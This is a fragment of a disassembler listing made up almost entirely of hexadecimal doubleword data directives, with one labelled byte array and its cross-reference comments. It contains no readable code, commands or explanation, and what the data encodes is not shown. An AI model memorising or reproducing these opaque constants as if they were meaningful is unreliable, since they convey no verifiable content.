dd 0AF483084h, 0F801062Ah, 377F1A3Fh, 4DE0B7C2h, 12071FBh
dd 0A4180AFCh, 70CEC521h, 0BF019020h, 1EEAB79Bh, 6460917Bh
dd 72A10081h, 0EF0D8EBBh, 0C100466Eh, 54C0A95Eh, 0B8F876DCh
dd 75910050h, 2679CE14h, 41045C53h, 0D5B8F396h, 300718D0h
dd 0F6A83811h, 0C588DB3h, 0DB8E3DF8h, 0EC9B3100h, 6D9CF41Ah
dd 68E50391h, 751F9A0Eh, 3BBC5CC8h, 0E6514300h, 0AB578C85h
dd 87C50065h, 889FFD90h, 4F0047B0h, 677E5A1Dh, 7E08EF1Ch
dd 0F5193E70h, 26744880h, 38395D75h, 720060B2h, 57C0D021h
dd 3886AD66h, 75853E63h, 0C0BD95FBh, 328A6EA0h, 8884B700h
dd 1DD2AAACh, 0A3DB0315h, 261F192h, 18975990h, 5047BB02h
dd 410FBD36h, 0DFD4C6E4h, 0BE83182Ah, 0DE151073h, 0DB75501Eh
dd 26B4CC49h, 7678F8h, 0D6654403h, 91A3C15h, 31EFF900h
dd 0F2E28C81h, 29620206h, 5F631EBCh, 300AA887h, 0E459E0D2h
dd 62368000h, 583E0578h, 0DA2A00EDh, 0ECF4843Fh, 4500514Eh
dd 7A8B0BB5h, 6F543BDh, 562BC3FAh, 0E8783881h, 0B70D530Bh
dd 0F8ECA145h, 583082B3h, 0D5E76DEh, 7664DFAEh, 25A85060h
dd 77003F2Ch, 164EFC57h, 639F9Bh, 2036FB5h, 3DAF6A4Fh
dd 8F442603h, 0C0527CB2h, 1FB6BDA1h, 409F65DFh, 0CB14D34Ah
dd 1E792498h, 37D6B07h, 0BB80B847h, 982A50C3h, 0F8BFC6Eh
dd 0BC514C69h, 0ED0E406Bh, 7E57A020h, 0D600D019h, 1FF8B702h
dd 0E4FDEFF7h, 0CEB900A1h, 0B3A42109h, 0C2546E9h, 176020F3h
dd 7CE44339h, 0FA7FEAh, 449AA905h, 3A4E8030h, 6E000C91h
dd 15D1395Ah, 3E1E078Ch, 4665F40Dh, 410021A5h, 0CA5638DAh
dd 83557Bh, 0ADFE0C6Fh, 6E7A9592h, 5C82F48h, 663C8EA0h
dd 128028D7h, 0B85CB764h, 0BDCC80E9h, 6F08CC42h, 5200FF21h
dd 0CCF040B7h, 3D93006h, 7EEDC18Dh, 7A81B101h, 8E818E8Ch
dd 0B609648Fh, 1DE060A1h, 59B30056h, 0A6E1ED75h, 0DF74852Eh
dd 3981A59h, 0B5B34F32h, 37D3D833h, 0D5D55867h, 9BF22A00h
dd 340F415Eh, 0A229515h, 697C0E90h, 44218791h, 407BF502h
dd 308FB411h, 0C5E86E59h, 0D6CB1F9h, 18579098h, 10104511h
dd 3B0E3930h, 0A0BA94B2h, 171AFB22h, 4E6E008Dh, 0D7066BBDh
dd 801DE681h, 24C0A642h, 0E293D209h, 5E5000BEh, 0B0694F07h
dd 0FF0C42EDh, 908968C0h, 0FDB90074h, 45D1770Fh, 0FA05C231h
dd 439DDAB8h, 6FD35680h, 0EB8E0018h, 0C6C0EA1h, 0C41DC5C7h
dd 80801B71h, 4BE11120h, 76930041h, 0F89E4CFFh, 7000530Dh
dd 42C5CB8Ch, 790665Fh, 8F6CD703h, 0D8A33F83h, 69F82078h
dd 0F75C3BE7h, 35FF0085h, 0B1DD91Bh, 0EC6133D5h, 211CE908h
dd 8F7E36A0h, 0CEC9DDB7h, 8F6F012Bh, 0D8CC2956h, 60BB000Ch
dd 701B126Dh, 0A6019A3Fh, 0D0D9515Ah, 5260D798h, 0B1D10ECDh
dd 809FF6A9h, 27161720h, 66066833h, 1D702C46h, 21FD6008h
dd 94273EB0h, 0AE447E03h, 10E7EF34h, 6FDF850h, 5C72522Ah
dd 0CF23680h, 0C446D8A8h, 3A351C70h, 0EF11E3DEh, 3618AD0Bh
dd 0AE824C80h, 84483DE1h, 18223983h, 0F788D86Ch, 0B6700A6h
dd 18EC29EFh, 56016B69h, 6DD4E9E8h, 18B1EE5Fh, 0D02E5A51h
dd 4960F250h, 0A0BE4011h, 0B3C400AFh, 0ABBAE7F6h, 4160E67Dh
dd 0A0C60121h, 45B8003Dh, 49F0B77Bh, 97306E55h, 0A42C58FEh
dd 0B270FF03h, 0B3CB010Ch, 402E8252h, 0BAE4528Fh, 11360630h
dd 88A5DE3Ch, 0FEA380E8h
dd 364E1E35h, 0DE18AA00h, 11276870h, 1028A374h, 594A60h
dd 664E61DFh, 5421C2h, 58DBD038h, 4DF18E41h, 46001E76h
dd 892659BAh, 263CAD9h, 22A25F7Dh, 8F40FB7Bh, 1F009B40h
dd 0D1A4946Ah, 0E899B195h, 10E700D2h, 8895912h, 5400F3F5h
dd 0B19C0615h, 71FF67h, 254B6323h, 26B65847h, 8909AE64h
dd 50CEE2Eh, 0C110E271h, 0A9EF300h, 0A7DC55AFh, 7E5F0950h
dd 71006652h, 13D81605h, 0FAC1270Ch, 44A829B0h, 404423A0h
dd 84DF44CAh, 0EB54A744h, 10626611h, 113DEFEh, 0C29D4CBCh
dd 0E42F3A91h, 2500DB3Ch, 0F3D27D9Ch, 205D9EF7h, 192231A5h
dd 3BAA2210h, 0F09E8310h, 6604B121h, 76088A69h, 24A3ED42h
dd 0CB962765h, 19A24251h, 5979565Ah, 0D1441F08h, 0DAA1C74Eh
dd 0E96D00FBh, 0F007D70Eh, 600797D1h, 4ACDA6F0h, 512B03FEh
dd 82FD68BDh, 7F1063EFh, 0AE70858Dh, 616C8100h, 3F9EF93h
dd 4CFDAD8Ch, 0DF988E44h, 1600744Dh, 0F730295h, 3CF0FA64h
dd 3100962Fh, 1DD5EE71h, 0D700CC7Dh, 0A475DDE9h, 5F0FBh
dd 0FFDB63F2h, 0C0558418h, 87493300h, 0D1C101FDh, 6A560FC4h
dd 0ED00A0FCh, 450998B3h, 0C7643000h, 14C263D8h, 0FFD40022h
dd 36721EB5h, 2607BA5Ah, 18DFB4Eh, 0E2B91370h, 3E070021h
dd 0DC1C4394h, 200E6F47h, 768E57h, 4F3419F4h, 0ED290EA9h
dd 5CC0EAEEh, 53403533h, 63DB9F1Ch, 76C85DC0h, 31F181Ch
dd 91370B3Bh, 88110323h, 0DB00F52Fh, 0EE3CDC9Eh, 2A00854Bh
dd 80057E89h, 0E0389Bh, 0C3415BCh, 21BB68CFh, 990EE973h
dd 608492C0h, 8E74D918h, 50F41724h, 0A4430001h, 167922D0h
dd 0C35FA000h, 0B215FC3Eh, 0EB0E00DFh, 0FB41CE7Eh, 5A011819h
dd 0FF9B99E9h, 0E4D8FA28h, 0FE8500F7h, 0A3D38434h, 0BD0331D7h
dd 1CF27F9Ch, 5B1A00B9h, 1DE58E8Ch, 0F10E6FF0h, 20058D90h
dd 1AB111EBh, 0C23C00EFh, 31BC204Bh, 711EE8A8h, 4600598Ah
dd 358E6598h, 8DEF0026h, 43714BDh, 0C20FEAD4h, 0C7D338AAh
dd 81B0B149h, 0CA2AA2h, 621CF403h, 0DBA40E45h, 0CB902707h
dd 2EB01064h, 0B17AD9h, 0DA02F803h, 4BEA2F6h, 0BA401300h
dd 5DD1873h, 0B2D3162Ah, 0F5ED0145h, 0DCB92E10h, 78012F87h
dd 0ECF2EE0Dh, 0DCC8DE3Eh, 0BAA1009Dh, 49D4B337h, 47F0E218h
dd 2EA6DA00h, 65F05B70h, 0C8A21C1Ch, 9ED61DE0h, 3A98BE44h
dd 38206CE8h, 56C2DE00h, 0C33076AAh, 82910301h, 0F4A0A96h
dd 0E43D2100h, 40246145h, 18E54835h, 90B2EC00h, 1BF9DD82h
dd 0D208EA09h, 11000BCh, 0E8BBE39Ch, 0E6760205h, 0DAA3D604h
dd 0EB3A1840h, 0E27E3414h, 9DC902FCh, 486378C1h, 388CF804h
dd 0B412B5BEh, 41A70052h, 602838B8h, 0DE47DD00h, 5EE8D8ABh
dd 58F439h, 6BD72CFEh, 0BBBF77EEh, 420716F4h, 9A4DC15Ch
dd 21E3C800h, 0F8B0C08Eh, 77842CA6h, 26E96418h, 17346D8h
dd 9DE6D335h, 0C8BE4CEEh, 760078EFh, 863F5BBh, 99D5CCh
dd 0A619D264h, 0C757BAA0h, 0C6B88707h, 58505DFCh, 260E6E6Ah
dd 4A4043h, 1A328D1Bh, 0A9FC9ADFh, 7C02C100h, 84E10B0Ah
dd 3A090E3h, 0C49BB834h, 2C804CBDh, 75009EFEh, 0E17C0E03h
dd 27E0D6h, 490239EBh, 0A65F100Fh, 8D427600h, 0EBFE5E3h
dd 368B0061h, 0CC85F5C3h, 5D02C292h, 40D67580h, 0B8C080FAh
dd 1E61B50Eh, 80C05898h, 1EE2100Bh, 0EC732477h, 5C00A6D2h
dd 7C6D69D4h, 6A2F0057h, 0A924CEA1h, 900E0FFh, 0EA47A53Eh
dd 0BCF419h, 3FBAD8CDh, 0F184D7DCh, 4A444E00h, 0EE6F628h
dd 0C1807DDh, 132F93AAh, 0D2C0EE13h, 9501EFF1h, 0CFC10238h
dd 2E205983h, 0E68F812h, 0D528CE0Ch, 0D551740h, 6D00B47Eh
dd 316FE887h, 0A31D5Dh, 0EEB3EA01h, 2FD54102h, 7E934000h
dd 0ECE77634h, 0EB08005Ah, 78519C10h, 9D00827Fh, 981DAD6Ah
dd 0AF9762h, 40F6B3D5h, 0D10B9604h, 0F7BB5A00h, 0B8BA93A1h
dd 6BCF01CBh, 111B52AAh, 8C7AC469h, 44753202h, 74E8E3F2h
dd 12F88079h, 2965C5ABh, 0CEEDF31Dh, 59786FC0h, 48A27DA1h
dd 0C624DB44h, 3D310077h, 3B9BBF36h, 1F3EB900h, 0A8AC0BBCh
dd 8D531D5Eh, 0DECDFh, 5F403708h, 0C20033A5h, 6C745C31h
dd 92306Ah, 601EA6A8h, 69D65DD0h, 77E8DC00h, 0E4CA824Ah
dd 0B77607B0h, 5F36DDACh, 12254E20h, 1600E3B9h, 0B3FFA0F9h
dd 70A4D3A2h, 0AA8B0010h, 0A8F85EA5h, 0ECFD3E8Dh, 0D71E313Dh
dd 0A04113CAh, 62AFAE46h, 1EE420h, 3F9E9658h, 0ECB26843h
dd 34002E79h, 7547E035h, 0D85F9Fh, 5C6B0DD1h, 1844F96Eh
dd 0B9E69C3Fh, 6DC180ACh, 4EE49164h, 142E0FFDh, 433DFA8Bh
dd 0C61E8708h, 366EA3E8h, 6A7353Ch, 0AE183F78h, 0BDC30028h
dd 7AB097B5h, 940023C5h, 3A413175h, 49835Fh, 86844AACh
dd 1140DADh, 8094E01Ch, 36C0D41Fh, 8E9513F4h, 0AD700CDh
dd 0FACBFCEEh, 3300E072h, 0C367738h, 6DC390h, 354AC6E8h
dd 0D8B11F69h, 33FCA000h, 2270ACDFh, 0C2770054h, 1E92652Eh
dd 0D0789C4h, 9B6C418Ch, 33BE860h, 0B1F207ACh, 0C0E349CEh
dd 36156D01h, 0C0C784A0h, 30C2BC00h, 7141275Fh, 87E80063h
dd 9BF61082h, 94005322h, 0F0453691h, 16EE0F09h, 1D923FB3h
dd 753E8028h, 4AEDC254h, 7B6B6A07h, 7D808877h, 1EFAC71Bh
dd 14D9ABC9h, 0A583E8F6h, 31009225h, 94B06B3Bh, 0C9765B7h
dd 0A8FD751Ah, 4B00E2F8h, 53F3DFD4h, 48A324Fh, 33B211D5h
dd 25A78012h, 60F17A2h, 80965D3Eh, 0E09AD33Dh, 6C070034h
dd 31797AC1h, 5500E7D8h, 1BBEC208h, 60C489h, 0AE59EAF2h
dd 0C96F6668h, 0B7F8E500h, 0E7480DF6h, 77F6A7h, 7255065Fh
dd 0D7ABCFB3h, 90699500h, 8D75047Eh, 1486011Ch, 0A66711F8h
dd 0F08A7060h, 93567B00h, 741615ECh, 6C42095Bh, 2C00E3BEh
dd 329176DAh, 8DDD5400h, 4526C1FEh, 66200071h, 51CBCFD2h
dd 0A624F006h, 1500349Dh, 0C001E5CDh, 0DAE00E0h, 0A180925h
dd 0C70317E7h, 99605CB0h, 8074809Ch, 35C200DBh, 2B713070h
dd 1F0ECE49h, 0A143A877h, 0CD5CA566h, 75909F8h, 80F433F6h
dd 73C5B021h, 3E00BEC8h, 5F0B394Bh, 0E06B5532h, 0DB4E001Bh
dd 0B0A4FC53h, 8D0E059Ch, 0E071C6DDh, 15F98B29h, 0D7B801EFh
dd 6DB93A0Eh, 646C7048h, 0BF1D52B0h, 8807D835h, 0A920B109h
dd 0B60EE9Fh, 81213FD1h, 0FEC65C03h, 0EB77E98h, 0CD830A00h
dd 32132A9Ah, 0D15001BDh, 309E9F6Fh, 0AD6E8303h, 0A0C9893Bh
dd 12572A2h, 85E6D58Ch, 0C4F02616h, 6D240B50h, 62809C29h
dd 51A6FC39h, 2D7300BCh, 9DE35594h, 0E93E2AC9h, 4CA98007h
dd 7E3BB076h, 0E1740DF1h, 0C03288DAh, 0DE006F04h, 677ACDDh
dd 2435B678h, 29C6219h, 3351C93Dh, 56804B05h, 9B2FD01h
dd 2485ADCFh, 36950080h, 0B1001EF1h, 4B7EC428h, 0ECDD58B7h
dd 0B9051272h, 99500009h, 8618068h, 965E5900h, 53BC9047h
dd 5C9C0EDEh, 0B040859Eh, 0F4786186h, 0A9D4C300h, 23C4F04Fh
dd 2F7344h, 0C980B23Bh, 77852948h, 0CAC79000h, 0D43F27B5h
dd 926E41Eh, 0A3B9D633h, 716FC000h, 0F601855Ah, 60DA21Ah
dd 9840C311h, 0EC28A4h, 0A0832035h, 279443D0h, 0A33FB003h
dd 0D07170F1h, 240F97E2h, 5F31ADh, 0FDEEAFD3h, 69311AA7h
dd 0DD9660FCh, 0AE2D0h, 4ACC1759h, 2678D3FBh, 0FD037F7Ah
dd 6BBA6AD5h, 0E0D02177h, 2D28F580h, 7219Ah, 0B4C5D096h
dd 0D4FA7FDAh, 8015BC38h
dd 412A0B7h, 23091Ah, 0DED5220Eh, 0F89CE278h, 0D44D9500h
dd 87527B7Fh, 0A2320B7Ah, 6980CB9Ah, 55A3C410h, 2D0D1807h
dd 800939E1h, 4A6989FDh, 1BCC1E4Dh, 74BA002Fh, 0F5039DCAh
dd 3A86AD18h, 0A72EA8h, 4B8BD60h, 7DE6C7E9h, 8185100h
dd 3579D88Ch, 1D401E47h, 0CB04C05Ch, 434FD6B0h, 0E28AE700h
dd 48B969B6h, 4C8D1C57h, 0B2C5000Ah, 0D5FBA0CAh, 6D265900h
dd 390523AEh, 29EF0CDBh, 0C24479C7h, 1FDF8301h, 7FAA9198h
dd 323E5FCh, 562C2577h, 15C36D21h, 42F07583h, 39035D44h
dd 484CFBAAh, 31618028h, 35C0090h, 14351C43h, 0E89880D7h
dd 494C0202h, 80DF4A20h, 9F0D6CC4h, 0DA612CD8h, 63A0005Eh
dd 0B21D149Ch, 51AC11Bh, 5BA0FF64h, 2F45A340h, 54789254h
dd 0E4048E7Fh, 2E77882Ah, 0C0E498h, 0BFD7D839h, 0E3FE8A79h
dd 0EECB4100h, 7EC1D0A5h, 46D7824h, 2C035110h, 5C4481A2h
dd 0D8B2F5D8h, 1A38F75Eh, 0E7730312h, 88618396h, 3B26AF20h
dd 0EE80DA0Ah, 757CA42Dh, 0F0029BCh, 56933060h, 11B68C6h
dd 4FD880DEh, 0FC639295h, 1D18D3CFh, 0ED588AA9h, 5D0002Ch
dd 0FF36F8FCh, 1C00522Ah, 8E9DD526h, 0EA043CADh, 0EF007DEh
dd 0F0D120D4h, 0DB3E9C95h, 0A6420300h, 0CEB5C7C0h, 0F5BD008Ch
dd 2C48CCD4h, 2D382958h, 7B7180D0h, 0CA494FC6h, 0A3FD240Ch
dd 18182B4h, 0EB40DE83h, 4A07587Ch, 0E2760BC1h, 0B4400205h
dd 0E9F152A3h, 0E0334522h, 531C9B3Bh, 0C5406A3Ch, 78FB5D9Eh
dd 0D86D1445h, 0FE14AEA3h, 310FB4ABh, 2A00EB53h, 519977F4h
dd 3F526C00h, 199AE72Dh, 0CECA07E2h, 70C3CDDBh, 6D208239h
dd 0B0C548h, 959DC880h, 4805E7B4h, 0AE008051h, 39B8E027h
dd 10076984h, 8FD1FE20h, 0FA571310h, 0C1C700B2h, 84D0E398h
dd 5600324Ch, 0B65C6CFh, 0E83362h, 0DDAC838h, 45858ACDh
dd 55803278h, 64A548D9h, 737241Fh, 79BE8h, 0C08987F6h
dd 12037A72h, 61C964D9h, 0D0D2B0BBh, 703873FCh, 13C00EAh
dd 0F73E379Fh, 5C04158Dh, 2E727A09h, 529BA8C0h, 390E00F8h
dd 11E848F1h, 780043BEh, 0FF27FB0Dh, 77BA0647h, 9FA000A9h
dd 6CC77639h, 80FDDFB7h, 96243048h, 0CBF5F0h, 83510245h
dd 6367086Ah, 5C184203h, 0C85E26A7h, 0EC6111h, 0A37F062Eh
dd 20CC5F84h, 48799D00h, 42C1F08Bh, 0A45D1EDCh, 6C22C91Dh
dd 0D96ED580h, 0F60055ABh, 4AEF9A3Eh, 701AC77Dh, 82DD6732h
dd 72C0B01Eh, 0EAFCF3E6h, 0B7E5DC07h, 2571822Ch, 0C880F94Fh
dd 0DB45067Ah, 877A22Fh, 0D9B39407h, 0F8205FDCh, 1C4F2C1h
dd 599CBE35h, 0FC4AA445h, 0DF0C6B1Ch, 19588627h, 34C11DF1h
dd 0CFA006Ah, 7D5FAC61h, 49FE50C0h, 3B920385h, 0BB80EE3Fh
dd 805BB936h, 630746C2h, 0DA9EBAD4h, 35BD0980h, 2E30041Bh
dd 0C3F101BBh, 0AAA8CFFDh, 680731FFh, 7BC08052h, 6EF774B0h
dd 0CD120EEAh, 8A160EDh, 0C7561D13h, 52479000h, 0AC7B5168h
dd 49F0002Bh, 38AE2353h, 0AA0EA3B4h, 8390EA8Ch, 9BF59A4h
dd 638795A8h, 6ACD5980h, 43F8DA5Fh, 943B2A2Ah, 545E252Fh
dd 76E2008Dh, 0CF3ABA9Ch, 0EAE07800h, 1DC96249h, 400E02C6h
dd 28B6228Ch, 0CF73ADE0h, 7C20C313h, 0E79B6101h, 0F2DC2968h
dd 0CB8400D3h, 6AF730A7h, 5E004501h, 0A3443AA0h, 73D7425h
dd 50562FA9h, 7D65255h, 75E93C48h, 209D2300h, 48515F19h
dd 658E04BAh, 8093ECF3h, 7DC19508h, 8001533Ch, 7A0B4FD9h
dd 39180433h, 88035566h, 5AB8936Eh, 870DF1h, 0E0CEC17h
dd 285361D3h, 30A4A69Dh, 6F45F70h, 57C85500h, 2BAA0986h
dd 0F2F80098h, 6D409133h, 3C0EB268h, 12E4FA5h, 0D4B9A025h
dd 7653EC0h, 0FBDA6A53h, 5A7FF0E5h, 339AFC1h, 0B7FD00DDh
dd 557A6C63h, 3C5B12C0h, 5F9400A0h, 42A6DC49h, 378E9803h
dd 0E82A7918h, 0A2FBF2h, 0BFFE4EDh, 6A97CFB5h, 60FC0900h
dd 0BAD85E95h, 0C380000Ch, 99CD045Fh, 6A00EC54h, 8C82D6D1h
dd 48471Eh, 9B0A928Ah, 0E0E4BCB0h, 0D4005490h, 0BAB6FEE8h
dd 0CEA2D7h, 1BFFA6E3h, 0A15AD246h, 0D6541900h, 8876722Ch
dd 0D8CB0FC6h, 0A5605CF0h, 0F0838BEh, 0A0264C00h, 0E46EF4B7h
dd 0EC428D3h, 93AE009Eh, 0FE95F94Dh, 9B0EDFD8h, 217D56h
dd 283D0CA5h, 865A3CF4h, 96174F87h, 455830A8h, 2E3A7141h
dd 0DC8A001Bh, 81F043E2h, 0D9422474h, 0EB69031Ch, 64772B26h
dd 1CF3D700h, 0D1053D54h, 0E0D5009Ch, 2C02565Ch, 7B00A0ACh
dd 9EDCB88Ch, 6E403Ch, 5BAD763Bh, 84327C24h, 62903E00h
dd 63A67FBh, 8E120074h, 13197BC1h, 0E65E8B34h, 0AC277F81h
dd 0F04D81DCh, 2D200012h, 3FE4DA33h, 9E00C0F5h, 34DCE28Ch
dd 1AAD57h, 9825F15Fh, 0D104E81Fh, 438C1703h, 1BD0620h
dd 0E623DF48h, 822AE9EBh, 0FE65C5C8h, 0FBE0405Dh, 0CCA1484Ah
dd 5CCFEF01h, 0D92699EBh, 8121B82Bh, 4F3BF946h, 0D0806F2Dh
dd 7C21442Eh, 9400E9AFh, 9B173CF4h, 2892D5F6h, 0FEF4B9ECh
dd 7EF20012h, 0E73B96C3h, 7F00FB72h, 0CC81F6B2h, 1A2A12Dh
dd 1C9A154Ah, 30C4D962h, 0F090E86Fh, 0D3A36C0Eh, 5B7BC0F1h
dd 18850C78h, 0BC09CB0Fh, 48007F0Ah, 0D8FD5AF9h, 0B86CC1h
dd 57DB3BFAh, 58135C66h, 794EBD00h, 0F9743531h, 0F42F00A2h
dd 5E2E6A1Eh, 2400F288h, 0F15AE17Ah, 5ED31F7h, 50D5E0C8h
dd 0DAE0006Ah, 81907CECh, 56B10500h, 77A47248h, 0FDAD0315h
dd 7D4D8B23h, 6F6454C8h, 5000C6E6h, 9326EA98h, 793086h
dd 24FA910Ah, 1A5BB74h, 0F91B3Fh, 0BA725CD9h, 7DA8B4h
dd 0C312F00Eh, 2B92E9Bh, 248F9F00h, 55FFF438h, 0CCA10020h
dd 0F652C4AFh, 0AA002639h, 0C041F340h, 15165F8h, 0C51C7B27h
dd 0C4DC5902h, 5C98182Ch, 704D3500h, 73804BEh, 7BF2F225h
dd 601C00B7h, 1D999F4Fh, 28036E46h, 7F952CFh, 9870A89Ah
dd 9C3417A5h, 641507E2h, 0DEA31073h, 0CC003E99h, 2F6977B3h
dd 1B47CAh, 1EBFA861h, 0DE11C07Dh, 278BB612h, 68E61841h
dd 9AE8D792h, 9CBB1CAFh, 0DA08C05Ch, 0D31EAD9Eh, 0A14DE500h
dd 0C37CE026h, 0E8575E6Dh, 0A3007D0Fh, 0CF25282Eh, 0C627F1h
dd 8EDBF76Fh, 0EF6EC44Eh, 0EA0033FAh, 0DC8280Fh, 1451FCh
dd 7A4E5910h, 1B778446h, 0FBD08F00h, 3C7440A6h, 4AC213D6h
dd 0A2B007F3h, 95580013h, 22008A30h, 0B311AAACh, 0E97B884h
dd 612D1CD4h, 0A0BDD0C7h, 0FA2BCC6h, 560A4103h, 888571E2h
dd 0E11208h, 9C04A59h, 67AB941Dh, 0A0794113h, 0E6121C72h
dd 0CE8B0090h, 5583C236h, 0BAD36Fh, 9652B000h, 0B9A54B2Dh
dd 303B3968h, 0A0ABA4h, 57FF013Ah, 6B0110F8h, 457B4241h
dd 0C2C813DCh, 1FD40037h, 191488B4h, 0C01D1A58h, 81B9A93Ch
dd 6899BFABh, 6870EF90h, 709500FAh, 8912E2D1h, 3B02206Eh
dd 7DDD0443h, 94644181h, 201BC64h, 0C3359D5Fh, 70C2E35Ch
dd 0B78C8081h, 6CB820C1h, 200E6000h, 9C46EBA3h, 0B0F2E8h
dd 3CCAE196h, 1E2BB8B2h, 20040F00h, 30FD0244h, 0EA100146h
dd 9F29CD0Bh, 5E2F3019h, 0CA13EFE8h, 0DA1CAF25h, 6B4E41C0h
dd 110DB7h, 0C4E21022h, 0D45C13A8h, 0BC7858h, 0F3BB6DF8h
dd 0C5FA3Fh, 5BD6D0F1h, 0B03B4CCAh, 83DA5800h, 1ABF05E3h
dd 0E8741CF6h, 567340FDh, 0FC5E46D7h, 1D390638h, 0A91F7A49h
dd 0B46B54h, 0AC861C27h, 4BA751h, 0F808207Bh, 81291E0Ah
dd 78D79324h, 75259B04h
dd 0DFE47090h, 7EC700D9h, 0B703D146h, 8B00F529h, 40AC108Dh
dd 0C87BF7h, 0F13A455Bh, 8E115016h, 6A1BD50Eh, 1A96E182h
dd 0B040879Eh, 0FAFE64DDh, 0BAD30315h, 4034665h, 41549800h
dd 6DC12D87h, 0FA78003Eh, 6B97DEC9h, 0B100FCE0h, 0A43FFA2h
dd 0F4B6024Eh, 0C5A4011Dh, 3584C973h, 93020C0h, 196A5700h
dd 74EAAE36h, 76180027h, 8799826Bh, 770A9A1Dh, 0A3437D3Fh
dd 0FBCEBA01h, 7A3185B2h, 1450E0h, 0BE3F0BABh, 4D707E5Eh
dd 0D590E605h, 53C28F01h, 8E1C486Dh, 87F400CFh, 0DE7D34E9h
dd 0CD095460h, 816C4FE7h, 24FFC2E0h, 1E520h, 0AD42FAE8h
dd 0B3735F3h, 5125BE0Eh, 0DD396729h, 5D1FEE10h, 0AC9248AAh
dd 9D3DCD03h, 5797A3BEh, 52604041h, 0BBFA68D3h, 78645Ch
dd 912D0F76h, 9211863Eh, 0E5570054h, 708C896Bh, 24072B1Eh
dd 8F4E1718h, 0C04A5812h, 2CEF962Ch, 2A455Dh, 5495E3D4h
dd 0DB0EA4C9h, 3DB406DCh, 0FF53FA00h, 1FE42EAh, 2977390Eh
dd 61229EBFh, 9355C8DBh, 0C8597B00h, 0BDFC49C9h, 0D3790042h
dd 5C35CA87h, 3C00A17Ah, 1E81D5A7h, 0EA05FDh, 87BBB285h
dd 4CB51292h, 407D3179h, 0F790A400h, 6BB11513h, 59410057h
dd 0A338757Ch, 190733A6h, 2DB84E8Dh, 3D77C693h, 0C84D72B9h
dd 88554200h, 91447C20h, 9E25AF02h, 8EFE5092h, 82F5C184h
dd 28613C9Ch, 266CA140h, 0FBEC80h, 33E2AC4Bh, 0B9257642h
dd 3DA12700h, 32574555h, 4D640029h, 2BBB8ADAh, 3874F047h
dd 585E5Ch, 6D8E157Fh, 2839229h, 0FBE8BA1Ch, 68504A30h
dd 20CC0200h, 5D7DA17Fh, 8AC23B80h, 9E9B0399h, 0E5984089h
dd 95F4C87Eh, 0CE31AE12h, 81037B1Dh, 0F2F75h, 6EA1749h
dd 9C520757h, 8EEFC503h, 0D88B4291h, 4DB7Ah, 5DFD8A25h
dd 0FBD244EAh, 33CFF100h, 939B4D50h, 0DB370169h, 0B2784B6Dh
dd 0AC78BF8Ah, 220087ACh, 727F6FC8h, 8025060Fh, 79B51D75h
dd 5506F300h, 0DA2E86C9h, 48E97CC1h, 81FB8E5h, 0C15071Ch
dd 0AC501C88h, 3DEE75B8h, 3334A203h, 0A0B8A443h, 5803C305h
dd 7C75ADFAh, 0E18D006Eh, 62E77CF1h, 0A809711Fh, 0A0FBADAAh
dd 0C2BE8C48h, 1BCF02E3h, 23214558h, 0F8795870h, 0BCBEF8E9h
dd 3300F090h, 5E5D2451h, 981F6DA7h, 58FE3E24h, 5BC50600h
dd 41F0D1E5h, 24A09B60h, 0A0535C1Fh, 0F2F8EBAFh, 0B3390037h
dd 0B594CB21h, 6D0EF674h, 232DB4B9h, 3FAD2295h, 1B8E25B0h
dd 0C60D70Bh, 6D5CC950h, 8657002h, 0C02F3B60h, 28A6E7D0h
dd 0DAEAD2h, 0CA39B1B9h, 0BD013D59h, 309D931Fh, 22D7C5C0h
dd 0F6B09C17h, 6A98264Ah, 0DFF8050Fh, 6FF18023h, 0E139F6D2h
dd 5AF718DAh, 1D4896DCh, 0E9CE59h, 0BF1A826Dh, 6F00AAB3h
dd 0F1558810h, 0E64B18h, 8DA96943h, 9B498F41h, 0A3EB3E00h
dd 0D75051CAh, 6C1A1833h, 4C6F9E80h, 0EA22E00h, 29251B3Eh
dd 0B1E6003Dh, 585C59E0h, 0E71EA321h, 0E80FFDC2h, 0BD1640CBh
dd 60B055BAh, 1EBB5E62h, 3E1D60A5h, 3B80B481h, 0F0D95167h
dd 0EAB21CBFh, 6459479Ch, 10FB06D7h, 0B9006EE6h, 1574D1FCh
dd 98C4F7h, 7DCDB8D8h, 34DA4973h, 5C111F13h, 0CB2EEC00h
dd 1858DD36h, 0B0E75468h, 0A800F63Fh, 5E9725E6h, 0C7CE94h
dd 0BA9DD875h, 0D2F589C5h, 3027C407h, 0FE870C21h, 22BC6B50h
dd 2318003Fh, 0B30E7C2Dh, 84015AA8h, 0C138DE01h, 0CC20AE44h
dd 752A139Fh, 0F2F500E5h, 30C69EFBh, 10478400h, 9B3D0EA4h
dd 4EA007Bh, 6D5645B3h, 50076FF2h, 0F3F9ECCFh, 12F800FBh
dd 1982D8DEh, 5818680Dh, 0F11DF80Ah, 0FDDB1500h, 0FF8057Ah
dd 3E9200DCh, 0E137B4D7h, 0FF7561A5h, 7AC8126h, 214F7B0Eh
dd 0F1B317C9h, 964C0DCh, 24D45258h, 3E1E7C00h, 89051F60h
dd 0CF39EE9Bh, 6950CC80h, 9D2500CDh, 4C623E1Dh, 0A5006ED8h
dd 3D9AF838h, 106A2E3h, 73535705h, 9FD0ED4Ah, 0EF82A538h
dd 0C070C8E9h, 7DE2A8DBh, 0FE1000B4h, 3BDCC2CDh, 0D0B8A601h
dd 20EADF12h, 238FB80Bh, 824990D0h, 0DE0840B9h, 0D74D3A18h
dd 0FC2C1401h, 0D89304C4h, 0FB01034Ah, 6FF62B5Dh, 0E8200679h
dd 16FD008Bh, 10DF5C72h, 0C000C70Dh, 19EC2CD8h, 21DA07h
dd 280C4122h, 975AFA4Ah, 0C8E5A8A0h, 0CCE97200h, 0EF12B7B3h
dd 0A8563E76h, 0D059AF00h, 0C4F5944Dh, 0E80AD804h, 64C2283Ah
dd 1374D11Ah, 998043BCh, 9BEB45CAh, 10265588h, 0FF00B0F2h
dd 5C5F51E6h, 803A19h, 78A27473h, 75A977A8h, 2721D03Ah
dd 0AEA807F4h, 4B6CFAB0h, 11D10057h, 152AEF75h, 84133A63h
dd 0F8024E89h, 0C8E6B031h, 84464458h, 3C8C38E5h, 0DFFC84F9h
db 0CCh
byte_520045 db 8, 80h, 13h ; DATA XREF: ___:004385A0o
; ___:004385B8o
dd 0F2BFA98Ah, 0D4700EDh, 0C8D22CB0h, 535C7269h, 1C760249h
dd 60A8F2A4h, 178050h, 0BB1A6A4Dh, 81904602h, 0C409DF00h
dd 8B2B74A3h, 1E27CC0h, 615E3669h, 64BB5255h, 10F46A18h
dd 0C707B21Ch, 0AFAB2D00h, 5C03F329h, 760784CEh, 901681C3h
